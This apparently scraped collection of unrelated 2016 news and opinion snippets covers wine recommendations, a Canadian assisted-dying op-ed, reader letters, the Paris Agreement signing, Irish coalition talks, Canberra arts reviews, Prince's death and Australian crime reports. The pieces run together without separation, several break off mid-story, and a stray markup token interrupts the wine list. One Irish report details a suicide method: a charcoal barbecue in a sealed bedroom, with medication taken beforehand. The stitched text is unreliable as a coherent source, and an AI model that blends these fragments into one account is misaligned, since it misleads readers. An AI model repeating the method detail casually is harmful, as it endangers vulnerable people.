 Jam Jar Sweet White: with juicy flavours of peach, lychee and orange blossom, this is fresh, lively and delicious. A very nice wine, even for me!  $14.99, SA

 Wayne Gretzky The Great White: flavours of orange, tropical fruit, melon, peach and lemon  $16.99, Okanagan

 Torres Vina Esmerelda: with floral notes with a voluptuous, silky texture, this wine pairs well with spicy food  $13.99, Spain

Now the reds:

 Diabolica Red: cherry, pomegranate and violet aromas, with flavours of black tea, licorice, berries and plums  $13.99, Okanagan

 Vintage Ink Rebel Red: a blend of Shiraz, Merlot and Cabernet Sauvignon with aromas of cherry, blackcurrant and spice, this wine is rich, full and round  $16.99, Okanagan

<B><$t-1> <B>Red Escape Red Blend: sweet ripe fruit aromas follow onto the palate, while cherry flavours combine with smoky hints of ham and bacon.

A very interesting concoction  $14.99, SA

 Inception Deep Layered Blend: fruity flavours accented by chocolate, vanilla, mocha, and spices  $14.99, SA

 Conundrum Red: lavender, berries, chocolate, and bacon aromas with fruity flavours and a long, non-tannic finish  $25.99, California

 Epica Red: savoury cherry and dark cocoa, this is a bold but balanced blend  $13.99, Chile

 Extravaganza Red Blend: woody, spicy and fruity scents with fleshy tannins  $16.99, Argentina

 Trivento Aires Dulces Malbec: red fruit with sweet, velvety tannins  $9.99, Argentina

Diane Nelson is a longtime journalist and former Sun staffer who really likes wine. A lot.

 vinelines.ca

 Twitter: @vinelinesbdn
Opinion

Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

WINNIPEG  Autonomy, it would seem, is an intoxicant. The more we have, the more we want.

In tabling its draft legislation on physician-hastened death, the federal government has rejected several key recommendations made by the Parliamentary Committee on Medical Assistance In Dying (MAID).

In the days ahead, as Canadians weigh in on Bill C-14, some will say it has gone far enough. Those craving more autonomy, however, will insist it must go further.

The draft legislation does not include the parliamentary committees recommendation to allow death hastening by way of advance directives for people with dementia. Those jurisdictions that have attempted to include an advance directive provision for dementia have found it completely untenable. Physicians almost always find it inconceivable to comply with these requests, given the patient with dementia is a psychologically different person from the one who signed the advance directive.

Physicians are not able to determine the patients current wishes, feel the patient is not suffering or no longer wants to die. While family members support forgoing life-prolonging treatment, most ask the euthanasia directive not be followed because of uncertainty about the persons current wishes, not being ready for the person to die or not sensing that the person is suffering.

The draft legislation did not abide the parliamentary committees recommendation to include patients with psychiatric illness. Based on lessons from jurisdictions with death hastening experience, the government landed on the right side of this tragically difficult issue.

In Oregon, the lawyers, psychiatrists and other physicians I spoke with  many, ardent supporters of the Death With Dignity Act  found the idea of physician-hastened death for

non-terminally ill psychiatric patients utterly inconceivable.

Recent data from Holland indicates that physician-hastened death on psychiatric grounds is fraught with difficulty. A study of people who received euthanasia or assisted suicide for psychiatric reasons reported that the majority were women, with issues including depression, psychosis, post-traumatic stress disorder, anxiety, substance abuse; various forms of cognitive impairment such as intellectual disability or early dementia, eating disorders, prolonged grief and autism. Most had personality disorders and were described as socially isolated and lonely.

In one-quarter of instances, despite differences of opinion among physicians, death hastening proceeded. In about one-third of cases initially refused, most were carried out by new physicians willing to comply.

Mental illness often leads people to see themselves as worthless, to believe their situation is hopeless, and to perceive that their lives have little value. Little wonder a death-hastening response is so deeply problematic.

The government also rejected the parliamentary committees suggestion that the law include mature minors. They suggested that this issue requires further study.

They would be well advised to speak with people caring for children with life-threatening and life-limiting conditions, including pediatric specialists (oncologists, palliative care clinicians), child psychologists, development specialists; and of course, family members of critically ill children. In discussing the issue of minors, these voices have not as yet been heard.

Bill C-14 bears some of the hallmarks of Quebecs legislation, with eligibility including a natural death being reasonably foreseeable and the patient being in an advanced state of irreversible decline in capabilities. Just what that means and how it will play out remains to be seen.

One would hope that every patient whose angst expresses itself as a wish to die would have access to palliative care expertise, including a thorough and detailed evaluation of the physical, psychosocial, existential and spiritual drivers motiving their request for hastened death.

Since the government is committed to reviewing this legislation in five years, it is critical that data of this kind be collected, prospectively, in order to inform future policy amendments.

While autonomy can be intoxicating, clear and sober thinking must prevail as we move towards a MAID in Canada approach.

 Dr. Harvey Max Chochinov is a distinguished professor of psychiatry at the University of Manitoba. He was chairman of the federal governments external panel for options to Carter v. Canada and is an adviser to the Vulnerable Persons Standard (www.vps-npv.ca).

 Troy Media
Opinion

Hey there, time traveller!

This article was published 22/04/2016 (2375 days ago), so information in it may no longer be current.

Great read about Souris band

That was a good story about the Souris students and their trip to China. Well done.

in the real world, the 3 Rs will come in handy

In Sound Off on April 13, I was surprised to read about the 3 Rs being replaced by the 4 Cs. Not every business is interested in the 4 Cs: some may want you to be able to read a carpenters rule or add and subtract with your very own mind. We need those basics so we can survive even if we havent got our iPad or laptop along. Also, not everyone is fortunate enough to be able to afford higher education. This letter smacked of self-satisfaction to the extreme. As a child of the 50s, I can assure you we did not have any boring schools  we had lots to do both at school and at home. One thing we did learn was tolerance of ignorance. It was mentioned in the Sound Off, Im not a highway construction expert just because I drive on highways. Youre not necessarily a good school teacher just because you go to school every day, either, or have a bachelor degree.

Loving Sound Off

I just want to say what a wonderful job is being done with Sound Off. I have been away three months and I am still reading the papers I missed and the first part of the paper I go to is Sound Off. Keep up the good work.

Clean up those election signs

Well the election is over and done with. Finally done with all those annoying advertisements on TV. Time to get your signs off the boulevards, too.
Banking giant HSBC said it will take steps to review pay packages for executive directors following concerns from shareholders.

The lender said at its annual general meeting (AGM) that it is looking to reduce the amount of money handed to executive directors in lieu of a pension from 50% to 30% of their base salary, while also making long-term incentives subject to a three-year forward-looking performance period.
Ireland has officially signed up to the Paris Agreement on climate change.

Representatives from countries around the world are signing the deal today at a special ceremony at the UN headquarters in New York.

More than 170 countries are lining up to sign the Paris Agreement on climate change as the landmark deal takes a key step towards coming into force years ahead of schedule.

The acting Minister for the Environment Alan Kelly is signed on behalf of Ireland.

States that do not sign on Friday have a year to do so.

"The era of consumption without consequences is over," UN secretary-general Ban Ki-moon told the gathering.

Many expect the climate agreement to come into force long before the original deadline of 2020. Some say it could happen this year.

After signing, countries must formally approve the Paris Agreement through their domestic procedures. The United Nations says 15 countries, several of them small island states under threat from rising seas, are set to do that on Friday by depositing their instruments of ratification.

The agreement will enter into force once 55 countries representing at least 55% of global emissions have formally joined it. The United States and China, which together account for nearly 40% of global emissions, have said they intend to join this year.

Maros Sefcovic, the energy chief for another top emitter, the 28-nation European Union, told reporters the EU wants to be in the "first wave" of ratifying countries.

French President Francois Hollande said he will ask parliament to ratify the Paris Agreement on climate change by this summer. "There is no turning back now," Mr Hollande told the gathering.

Countries that had not yet indicated they would sign the agreement on Friday include some of the world's largest oil producers, including Saudi Arabia, Iraq, Nigeria and Kazakhstan, the World Resources Institute said.

The Paris Agreement, the world's response to hotter temperatures, rising seas and other impacts of climate change, was reached in December as a major breakthrough in UN climate negotiations, which for years were slowed by disputes between rich and poor countries over who should do what.

Under the agreement, countries set their own targets for reducing emissions of carbon dioxide and other greenhouse gases. The targets are not legally binding, but countries must update them every five years.

Already, states face pressure to do more. Scientific analyses show the initial set of targets that countries pledged before Paris do not match the agreement's long-term goal to keep global warming below 2C, compared with pre-industrial times. Global average temperatures have already climbed by almost 1C. Last year was the hottest on record.

The latest analysis by the Climate Interactive research group shows the Paris pledges put the world on track for 3.5C of warming. A separate analysis by Climate Action Tracker, a European group, projected warming of 2.7C.

Either way, scientists say the consequences could be catastrophic in some places, wiping out crops, flooding coastal areas and melting Arctic sea ice.

The US is a key concern for the Paris Agreement as other countries worry what the next president might do. Analysts say that if the agreement enters into force before Barack Obama leaves office in January, it would be more complicated for his successor to withdraw from the deal, because it would take four years to do so under the agreement's rules.
Several German car makers are going to recall a total of 630,000 cars following an investigation into emissions levels, according to the dpa news agency.

Citing unidentified government sources, dpa reported that the manufacturers would need to change technology used to switch off the vehicles' emissions treatment systems at certain temperatures.
Update 9.18pm: Enda Kenny and Micheal Martin have spoken by telephone this evening to discuss the impasse.

It is understood they will speak again in the morning, before the negotiating teams return to Trinity College.

Earlier: Talks between Fine Gael and Fianna Fail broke down this evening without agreement on the formation of a government, writes Daniel McConnell and Fiachra O Cionnaith of the Irish Examiner.

Negotiating teams could not reach agreement on several issues including water, housing, health and education.

The teams have now kicked the matter up to their party leaders Enda Kenny and Micheal Martin.

FF negotiating team: we have reached a stage where housing, childcare, health, water issues cannot be resolved. (1/2) #ge16  Fiachra O Cionnaith  (@Ocionnaith) April 22, 2016

The two leaders are now expected to meet tomorrow to try and address the impasse.

Fianna Fail's Jim O'Callaghan said his team have reached a stage where housing, childcare, health, water issues cannot be resolved.

(2/2) FF negotiating team: the issues have to be sent back to party leaders who will decide tonight on how to progress #ge16  Fiachra O Cionnaith  (@Ocionnaith) April 22, 2016

Mr O'Callaghan added that no problems are insurmountable but the input of the party leaders is needed to get past the seeming current impasse.

FG negotiating team: we made progress on some issues today, but it is agreed others must be sent back to party leaders tonight. #ge16  Fiachra O Cionnaith  (@Ocionnaith) April 22, 2016

Fine Gael's Paschal Donohoe said he and his colleagues have made progress on some issues today, but it is agreed others must be sent back to party leaders tonight.

FG negotiating team would not describe the issues as insurmountable, unlike FF, saying FG still hopes a deal can be done. #ge16  Fiachra O Cionnaith  (@Ocionnaith) April 22, 2016

Mr Donohoe would not say whether the previously stated timeline of a deal being completed still applies.

FG negotiating team also back track on talk of a Sat agreement, as previously said, saying they want a deal "if possible" #ge16  Fiachra O Cionnaith  (@Ocionnaith) April 22, 2016

Plans for a Fianna Fail parliamentary party meeting this weekend has been postponed until Monday at least.
It has been confirmed that emergency laws will be drafted to address the High Court ruling on suspended sentences.

Acting Justice Minister Frances Fitzgerald has stated that she will ask for Cabinet approval for the measures next week "with a view to it being enacted as soon as possible".
By David Raleigh

Wanted fraudster Julia Holmes, and her Co Limerick lover Thomas Ruttle, died by inhaling fumes from a charcoal barbecue in a sealed bedroom in Mr Ruttle's house, Gardai believe.

The couples' badly decomposed bodies were discovered by members of a Traveller burglar gang who broke into the Ruttle family home in Askeaton, Co Limerick on May 18, last year.

For the first time, a source has revealed how the bedroom in which the bodies were discovered had been sealed from the inside and how a burnt out charcoal BBQ was also found in the room.

The body of Holmes, a grandmother, a serial fraudster and the subject of an international police hunt, was found lying next to Mr Ruttle.

All indications point to a joint suicide pact.

Due to the decomposition of the bodies gardai were investigating a number of possible causes of death, including fatal gunshot wounds, and liquid poisoning.

Now, 11 months after their deaths, gardai believe Ms Holmes, 63, and 56-year-old Mr Ruttle died by carbon monoxide poisoning.

It is believed Ms Holmes and Mr Ruttle also consumed medication prior to inhaling the deadly fumes, to knock them out prior to the fumes cutting off oxygen to their brains.

Further details about the deaths will be revealed at the couples' inquest, which is scheduled for next Monday, April 25.

A firearm licensed to Mr Ruttle was located in the bedroom, but it had not been fired.

Ms Holmes, who served a prison sentence in Texas for a $500,000 property fraud, was wanted by police services across the world.

Julia Holmes

She was allegedly involved in major property frauds in the North, the US, and Australia.

She was cremated in Cork in June 2015, a month after her body was discovered in Mr Ruttle's home.

Ms Holmes, who had several aliases, had been due to be buried in a pauper's grave, as none of her family had claimed her remains - however at the final hour, a member of the Ruttle family stepped in to organise the private ceremony.

Mr Ruttle, who apparently knew nothing of his partner's criminal background, was buried in his family plot in Rathkeale following a dignified funeral.

A six-person jury at Newcastle West Coroner's Court will hear detailed evidence for the first time next Monday about what caused the deaths.
In America, a 16-year-old girl has died after a fight broke out - reportedly over a boy - in a high school toilet in the US state of Delaware.

According to reports in the States, she lost consciousness after hitting her head on a sink.
International figures have urged diplomats at Yemen peace talks to find a political solution to end the country's conflict.

Negotiators from Yemen's internationally backed government are meeting Shiite rebels known as Houthis and their allies at Bayan Palace in Kuwait City.

The Houthis have held Yemen's capital, Sanaa, since September 2014 and their advance throughout the Arab world's poorest country saw a Saudi-led, US-backed military coalition enter the war in March last year.

The war has since killed nearly 9,000 people - a third of them civilians, according to the UN.

Air strikes account for 60% of the civilians killed, according to a UN report from January 26. The world body has criticised coalition strikes that have hit markets, clinics and hospitals.

The war has taken on wider regional implications, as Sunni-ruled Saudi Arabia accuses regional Shiite rival Iran of arming and training the Houthis.

Tehran says it only provides the rebels with political support, though the US Navy says its sailors and allies have seized weapons heading for Yemen from Iran. The Houthis have tried to distance themselves from Iran.

UK Foreign Secretary Philip Hammond welcomed the UN-backed negotiations, saying: "Only a political solution can bring an end to the conflict."

He added: "I urge all those around the table to come together to find a way to end the conflict, address the humanitarian situation and allow the return of Yemen's legitimate government."

Underlining the importance of the talks, UN envoy Ismail Ould Cheikh Ahmed tweeted: "Peace is a choice. Make it your choice."
PARIS: For Afghan refugee cyclist Masomah Ali Zada, it will be a bittersweet moment. For the first time in five...
ISTANBUL: Turkish Foreign Minister Mevlut Cavusoglu said on Friday it was not right for the United States to...
Justus Neumann in Alzheimer Symphony. "She will do a nine-day drawing-on-glass performance called Streetcloud," Stacey says. "She draws what she sees in real time. She draws in white, inspired by childhood memories of frosty windows." Wlodarczak will draw from 10am to 6pm on the windows of the Street Theatre as well as perform at the National Gallery of Australia, DFAT and Canberra Museum and Gallery. She will also deliver an artist talk at the National Gallery. Marking the 100th anniversary of the Easter Rising in Ireland and celebrating the fact that the Irish Embassy in Canberra now processes more passports than any other mission outside Ireland, the Street will present Irish writing company Fishamble's play Swing.

"It's a comedy about finding yourself again and finding your love life again." Divorced father Joe has lost his business during Ireland's recession and is looking for a job and for something to do with his life. May is a graphic artist looking to fill in time while her boyfriend is away. Joe is a divorced father seeking a new job after losing his business during Ireland's recession. They meet at an evening dance class and fumble their way through a lot more than just the steps. The play is written by Steve Blount, Peter Daly, Gavin Kostick and Janet Moran and directed by Peter Daly. "We also have a couple of interesting Austrians," Stacey says. Justus Neumann  who now lives in Tasmania and divides his time between Australia and Europe  acts in a one-man show he co-wrote, Alzheimer Symphony, which uses the motif of the European dark clown to examine the process of ageing. During a performance of Shakespeare's King Lear, a renowned elderly actor forgets his lines and begins the long descent into Alzheimer's disease. "It's his way of humanising this very challenging experience ... It gives a very human insight into the feelings around it," Stacey says.

"This is the first time it's been performed on the Australian mainland. It's a very clever and beautiful work and quite profound." The other Austrian, Heinz Riegler, is "a sonic Renaissance man", a composer and performer who also works between Europe and Australia. He's known as the vocalist and guitarist in the ARIA Award-winning trio Not From There, and as co-curator for the minus20degree biennale in Flachau, Austria. Now he has moved into solo performance and improvised collaborations, including performances alongside sound artists David Toop, Scanner, DJ Olive and Lawrence English among others. At the Street Theatre, he will be performing solo and will use electric guitar and laptop electronics to create a sonic landscape. The performance will feature excerpts from his upcoming sound piece North/South, which takes inspiration from the constant movement between the hemispheres. The composer will also conduct a forum on his work. Continuing in the musical vein, Bandaluzia Flamenco is "a group of Australian artists, some of who are of Spanish heritage, who take flamenco dance and music and put a unique Australian take on it." They're led by flamenco guitarist Damian Wright and feature dancer Jessica Statham and Canberra brothers Ben Hauptmann on mandolin and James Hauptmann on percussion.
Ruth Hingston and Jodie Thatcher (Connect with your Nature) were the 2015 artists-in-residence at Gudgenby in the Namadgi National Park. Hingston's recent work in embroidery maps the world around her with gentle satiric humour. In Namadgi, instead of the native fauna she expected to see, she was fascinated by the rabbits and the mathematical formulas the park rangers use to estimate their population. Her works in this current exhibition portray this journey of investigation and seem to pose the question of just how all the information she gathered can be made into a final work. Although the large embroidery panel (Mapping Bunnilong and Map References) was perhaps intended to bring all the stages of this creative process together, I feel that what is of more interest is evidence of the journey itself. Jodie Thatcher a visiting artist from Britain brought perhaps a more resolved conclusion to her residency with several successful textured sculptures in copper. Noteworthy is the silver plated, copper faceted form (Adaption Series) with its delicate linear detailing suggesting the markings on scribbly gums.

The theme of connection links these three separate multilayered exhibitions. The artists explore the concept of connectiveness not only between themselves but also with their community - a community that includes the natural world. In investigating this theme, they have used a wide variety of media and techniques from drawing to digital technology, from traditional weaving and embroidery to complex assemblage.

Ruth Hingston's Bunnilong in Connect with your Nature at Craft ACT.

The Tamworth Textile Triennial is now an institution and as a travelling exhibition can be accessed by a wide audience. It has existed in one form or another since 1975. During that time there have been seismic shifts in what is understood by craft and textiles in particular. This exhibition, curated admirably by Cecilia Heffer, questions all the old shibboleths and ignores narrow definitions of craft and the exhibition is so much better for it.

The name of the exhibition, Group Exchange, arises from the gathering of the 22 artists from around Australia who were brought together in Tamworth before the exhibition, to share ideas and connect with one another. This resulted in some profitable interaction. A comment by artist Ilka White about "breath" prompted fellow artist Gillian Lavery to consider her relationship with the act of breathing. The result was a large stitched circle composed of variegated black stitches - the thread for each sequence of stitching being measured on the artist's body from mouth to belly button! The name of the work Pranayama refers in yoga to the control of the breath. Lavery stitched for 10 minutes each day for a year to the rhythm of her own breathing. This delicate poetic work is stitched onto softly draped material so it almost moves as if breathing itself. The concept of breath was also behind Anita Larkin's strangely formed trumpet made out of found objects (The Breath Between Us. 2014). To make a sound this trumpet needs three people, one at each stage of the length of the horn to blow together simultaneously. A good physical demonstration of connectedness and collaboration. While these two artists emphasised the need for collaboration between oneself and others, another group of artists wondered what would happen when natural patterns and rhythms of life were disrupted by modern genetic engineering. Alana Clifton-Cunningham's machine knitted work (translocation, duplication, deletion, inversion, 2014) visually show this distortion of gene patterns in her large strangely shaped non-functional garment. Erica Gray's work BioVar (2014) is based on the idea that animals might in the future be bred only for food. She ponders on what effect this consumerism might have on their appearance. Her imaginary creation is an eye catching metallic gold wall sculpture of a large monstrous animal-like "being" created with some impressive textile engineering.

Mandy Gunn in her impressive floor work (Centro-polis, 2014 ) uses "strands" of cardboard and paper cut-out of shopping bags to create geometric constructs that suggest a "metropolis of consumerism". This is a work I readily identified with. I thought it was a clever way of making a point by re-using the bags to evoke the concept of carrying home the things we do not really need and also, through the structure she has built, to evoke the banality and sameness of the modern shopping mall.

Monique van Nieuwland (a Canberra artist) has also made work (Ocean Scape, 2014) using the detritus of consumerism. The artist weaves this detritus (fishing lines, plastic and audio visual tapes) into the threads of her wall tapestries. Van Nieuwland is concerned with the plastic that is threatening the life of the seas. Anyone who has seen the plastic rubbish along the rivers of Asia that will be washed out to sea with the monsoon rains will have no trouble relating to this work of quiet and disturbing power.
A man who bashed a Canberra grandfather to death will remain at Calvary Hospital's mental health unit for now after a judge granted him bail, despite fresh concerns the facility was not secure enough.

Danny Klobucar, 27, was found not guilty by way of mental impairment of murdering Phillip's Miodrag Gajic, 71, on New Year's Day in 2014.

Danny Klobucar was found not guilty of murder by way of impairment, but it was estimated he would have received a 20-year sentence if guilty.

A jury found Klobucar to be the killer, but agreed with strong psychiatric evidence that he was suffering from paranoid schizophrenia and did not properly understand his actions were wrong.

That verdict meant Klobucar would be held in a secure facility, for a length of time to be decided by the ACT Civil and Administrative Tribunal, and reviewed monthly until he was no longer deemed a threat to himself or the community.
Descendants of a Gweagle warrior shot, and possibly killed, by Captain Cook's marines when the explorer landed at Botany Bay on April 28, 1770, are incensed and insulted by the British Museum's refusal to return his weapons.

Until late last month the shield and two of the spears used by warriors who opposed Cook's landing were on loan to the National Museum of Australia as part of the Encounters Exhibition.

Rodney Kelly is upset at the British Museum's refusal to return a Gweagle tribal shield taken in 1770. Me Kelly is a descendant of Cooman, the warrior who wielded the shield. Credit:Rohan Thomson

They had been taken aboard the Endeavour 246 years ago after shots and spears were exchanged by the men and the British landing party.

Aboriginal leaders say the shield, which appears to have been holed by a musket ball, and the spears mark "first blood" in the frontier wars and make a mockery of later claims Australia was "terra nullius" and that occupation and settlement was a peaceful process.
It's another case of a "blink and you'll miss it" venture that has come to an end in a tucked-away Canberra space.

But in this case, the venture involves one of Australia's most important cultural institutions, and the cause is relentless government cutbacks, rather than a failed commercial enterprise.

Ron Mueck's Pregnant Woman at the National Gallery of Australia Contemporary art space. Credit:Jay Cronan

The National Gallery of Australia is set to close its contemporary art space on the shores of Lake Burley Griffin less than two years after it opened.

NGA Contemporary, which was officially opened by outgoing director Ron Radford in September 2014, will close permanently after its current exhibition ends this weekend.
A former Canberra restaurateur busted for importing cocaine will spend an extra two years behind bars after Commonwealth prosecutors successfully appealed his sentence.

John Phillip Harrington, 63, pleaded guilty to attempting to possess and trafficking a marketable amount of cocaine the day his ACT Supreme Court trial was set to begin in March 2014.

John Phillip Harrington leaves the ACT Magistrates Court in 2011. Credit:Gary Schafer

He was serving a four-and-a-half year jail sentence and would have been eligible for parole next month.

But federal prosecutors last year challenged his sentence in the ACT Court of Appeal on grounds it was manifestly inadequate.
Brussels: European Union states agreed on Friday to work towards setting up a joint blacklist of tax havens by the end of the summer in the wake of the Panama Papers leaks.

Following the leaks, EU tax commissioner Pierre Moscovici had urged EU states to find a compromise and set up a joint list with common sanctions against tax havens to combat tax evasion.

Currently the 28 EU states have broadly different national lists of so-called non-cooperative jurisdictions on tax matters and are free to decide whether to impose restrictive measures.
Politician Clive Palmer and his nephew Clive Mensink could have their assets frozen in an attempt to recoup money owing to Queensland Nickel workers and creditors, liquidators say.

Speaking after creditors voted unanimously to wind up the enterprise on Friday, John Park, from liquidators FTI Consulting, said freezing assets was one of a number of options available to chase down about $200 million in debts.

"There is an ability to seek I guess what you'd call freezing orders against those parties whilst there is an outcome on the proceedings," he said.

"It's something that, you wouldn't say it's common every day but it's certainly an avenue available to the liquidator if you were to run that under that particular section of the Corporations Act and it is something we will be looking at."
There is an emerging commentary that the present crisis may create a new status quo for capitalism. Democratic presidential candidate Hillary Clinton speaks in New York on Tuesday. Credit:Bloomberg "We should see today's turmoil as a predictable response to the breakdown of one specific model of global capitalism in 2008," writes economist Anatole Kaletsky, referring to the year the global financial crisis began. Kaletsky predicts "a likely outcome could be a decade or more of soul-searching and instability, leading eventually to a new settlement in both politics and economics". Generation gap So what shape does this new arrangement take? One feature is likely to be the admission that a new "generation gap" exists.

Republican front-runner Donald Trump easily won New York state's presidential nominating contest on Tuesday. Credit:AP The term, originally coined in the 1960s, can now refer to the gap between the debt-saddling young, facing weak job security, and the richer, greying Baby Boomer generation. Nobel prize-winning economist Joseph Stiglitz writes: "Three realities  social injustice on an unprecedented scale, massive inequities, and a loss of trust in elites  define our political moment ... We won't be able to fix the problem if we don't recognise it. Our young do. They perceive the absence of intergenerational justice, and they are right to be angry." This is true in Europe and it's true in Australia (just look at the distribution of property wealth). The long-festering issue has blown wide open in the US election. Trade

For all of his podium bluster, it's Donald Trump's comments on trade that have riveted the political class. Trump has put elites under pressure to explain why decades of "free trade" and free-trade agreements, marketed to voters as a river of gold, have not led to higher US wages. "Activist Democrats now appear largely against the current approach, largely as a function of that base's leftward shift over the course of recent electoral cycles," says policy analyst Alan Tonelson, who blogs on economics and politics at RealityChek. "A more dramatic change has taken place in the Republican base, where strong support for the trade status quo has been replaced by considerable hostility. Thus, in large measure, the Trump phenomenon." It's unclear if it's a permanent change or a passing one, Tonelson says.

Even before Trump's run, though, a majority of voters described as "steadfast conservatives" (as opposed to "business conservatives") said free-trade agreements had been bad for the US, according to Pew Research Centre. The public in the US, as in Australia, is less likely to accept the assurances of political elites and the economists who advise them that knocking down trade barriers is always a good thing. Moving the needle on shareholder value The outsized, some would say, corrosive power of corporations in society in recent decades has coincided with a focus on maximising shareholder value to the exclusion of other concerns. In a recent year, 80 per cent of companies listed on S&P 500, bought back shares to raise their value. In the process they spent $US477 billion, money that could have been spent investing in new businesses, hiring new workers, or any other area of potential benefit to society. In fact, the tunnel vision focused on maximising shareholder value has been linked to greater financial risk-taking. Bernie Sanders' war on Wall Street has generated fresh scrutiny on the role of companies. He is saying what Obama hasn't said for eight years. No matter where Sanders finishes in the race, his full-throated criticisms, echoed by figures such as Senator Elizabeth Warren, will grow. If history moves in cycles, expect the notion of good citizenship to penetrate the boardroom, altering the acceptable behaviour of big business.

China China is a country that could lose out in the battle for US public opinion in the aftermath of the election. Business elites promised that liberalising trade with China would benefit the US. Instead, recent data suggests that isn't the case. And rather than lead to a more democratic (read US-friendly) political system, China instead seeks to create its own regional order. This means more strategic competition with the US. Until recently, China the economic challenger has been largely ring-fenced in the minds of American opinion-makers from China the military, diplomatic, technological and cyber rival. Should the perception become fused, the rhetoric around China may only grow more heated. Global tax debate Well before the US election cycle began, politicians such as Barack Obama and Bernie Sanders were calling out corporations for sending jobs offshore and not paying a fair share of tax. Corporate excesses enrage regular taxpayers, who don't enjoy the same accounting magic to preserve their wealth at tax time. When the Panama Papers issue broke, in mid-election cycle, it exposed the webs of off-shored holdings held by the rich and politicians around the world. The crusade for tax justice may become a continuing, lingering theme in US politics. Don't expect this story to end in November. How the future may look
Los Angeles: It could be several days before the world learns how pop icon Prince died but authorities have all but ruled out out suicide and say there were no "obvious signs of trauma" to his body.

Carver County Sheriff Jim Olson has told a news conference how staff members at Prince's Minnesota complex went to check on the singer-songwriter after failing to reach him on Thursday morning.

They found his body inside an elevator at Paisley Park.
"Disbelief," says resident Bennetts Lane manager Meg Evans of Prince's unexpected passing. "Absolutely disbelief. I found out through a few friends sending text messages and then looked up to find out what was going on - I couldn't believe it."

Michael Tortoni, of course, said "Yes", and a love affair was born between the iconic venue and the legendary artist, who would make a return appearance on a later tour that cemented a connection now sealed by his death.

It was midnight on a Sunday in 2003 when a diminutive American turned up at the Melbourne laneway jazz club, inquiring if he might be able to score a gig. The staff member on duty sent upstairs for the owner to make this decision: could Bennett's Lane make space for Prince?

Evans had met Prince when he played at the club in 2003 and 2012, the first gig a warm-up for his concert at Rod Laver Arena the following night and the second a pre-dawn, post-Laver appearance that has assumed legendary status among local fans and musicians.

Loved to play intimate gigs ... Prince played at the small room at Bennetts Lane jazz club in 2003 and 2012. He also played at the Ivy after his stadium concert in 2012. Credit:Afshin Shahidi

Of the 2003 gig, Evans recalls: "He came in the night before and asked for a gig. The person who was here at the time called the boss upstairs and he came down. He was really personable and he said, 'Can I have a gig here tomorrow night?'.

"We had the [Alan Browne Trio] performing, he was going to be on Monday night, and so he performed after Alan Browne's concert. He came with his whole band and they came through the LaTrobe Street entrance, we had so many people in the lane and then the lane behind but luckily  we had a clear side to the stage from Latrobe Street for his entourage and stuff. He also had his partner out here at the time.

"He seemed so at home here. He just came in and complimented us on the club and he chose to play the small room - the vibe was definitely in the small room.
An Iraqi refugee has been arrested for trying to break back into the guarded transit centre on Manus Island after deciding he could not cope with freedom in one of Papua New Guinea's biggest cities.

The Iraqi and an Iranian spent the night in custody in the Lorengau police lock-up after attempting to return to the centre, which was designed to accommodate those released from detention before they settle in PNG.

Three refugees who have left Manus Island to try and rebuild their lives in Lae after being granted refugee status have returned to the island, saying they feel safer in the transit centre.

Twenty-year-old Iranian, Loghman Sawari, says he went with Abdullah, the Iranian, to the centre on Wednesday night but both were refused entry, prompting the Iraqi to try and scale the fence.
Channel Nine "has some explaining to do" over its role in a botched child-recovery operation after which a Brisbane woman and 60 Minutes crew was thrown in jail for two weeks, according to a journalist who spent 400 days in an Egyptian jail.

In a trial condemned around the world, Peter Greste and two colleagues from Al-Jazeera English were convicted in 2014 on charges of terrorism and "reporting false news".

Peter Greste has weighed into the debate around the 60 Minutes crew's excursion to Lebanon for a story that resulted in them facing kidnapping charges. Credit:Robert Shakespeare

He weighed into the debate around 60 Minutes reporter Tara Brown and her crew's excursion to Lebanon for a story that resulted in them facing kidnapping charges.

Mr Greste said he was relieved to see the journalists and Brisbane mother Sally Faulkner released from prison but the experience raised questions over ethical judgment.
While much of the focus lately has been the impact humans are having on the largest, and most spectacular reef in the world, slightly inland we are hurting one of our other greatest natural beauties.

Scientists from James Cook University and the Australian National University have released a paper detailing the threat to large, old trees.

Humans need to rush to protect large old trees under threat from our activities, researchers say.

These trees, defined as the top 5 per cent of reproducing trees in any particular place, play an enormous ecological role from storing carbon to giving possums somewhere to live.

Co-author of the paper, JCU's Distinguished Research Professor, Bill Laurance, said the role large old trees played was integral.
A woman received head and facial injuries in a hit and run at Thornlands on Friday night.

Police are appealing for help to locate a vehicle involved in a traffic crash, which happened about 7.45pm on Springacre Road.

A woman received head and facial injuries in a hit and run at Thornlands Friday night. Credit:Tom Threadingham

The injured woman was pulling into a driveway when a white SUV that was towing a boat trailer travelling behind her collided with the back of the car, pushing it through a concrete bollard on the side of the driveway and into a power pole.

The 33-year-old woman wastaken to the Princess Alexandra Hospital for treatment of head and facial injuries and a possible broken arm.
Three police cars were damaged and road spikes were deployed in a Brisbane car chase on Friday night.

About 9.50pm, crews patrolling noticed a car near Ipswich that allegedly had stolen licence plates, which they attempted to intercept as it drove on the Warrego Highway.

A 49-year-old man has died in a U-turn collision on a freeway north of Perth. Credit:Marina Neil

When the car failed to stop, road spikes were successfully deployed, but the car still failed to stop.

The car was monitored by PolAir as police pursued it at low speed on the Ipswich motorway towards the city, where a road block was set up.
But not for this. This, was real. It mattered. And he wanted Ryan Martin, who had meant so much to his family, to the family of the little girl he saved, to a community, to be included in the State's official record.

For a man who has faced - and been involved with - some of the most uncomfortable to and fro-ing in the Queensland Parliament, anger and mirth tended to be the only shows of emotion necessary.

It took a lot for LNP MP Ray Stevens to get out the words honouring his son's best friend.

Taking the floor, the Member for Mermaid Beach delivered the hardest speech of his political career, trying and failing to hold back tears, while the Parliament sat in respectful silence, a rare occurrence - but the only thing they could do.

"On Good Friday, 25 March 2016, a good friend to all the Stevens family," here Mr Stevens stopped. The emotion choking him. He gathered himself. The Parliament waited. Members from both sides held their hands by their hearts. They knew the story. But not that it had hit so close.

"And my son Louis'," a crack of the voice, but continuing on, "Louis' best mate, Ryan Martin, gave his life to save a young girl in a horrific surf beach tragedy at Fingal Beach, just across the border from the Gold Coast in New South Wales," a pause. A moment. A gripping of paper.

"Ryan was only 30 years old and was a fit and competent swimmer who jumped into the water without hesitation when a little seven-year-old girl from Toowoomba was being dragged out in a strong rip, which would undoubtedly have led to her demise without Ryan's immediate intervention to keep her afloat until help arrived," Mr Stevens said.

"Unfortunately, by the time help arrived to assist Ryan, he had succumbed to the devastating power of Mother Nature," again Mr Stevens, stopped. These next lines, the finality, the attempts to save a saviour, still raw.
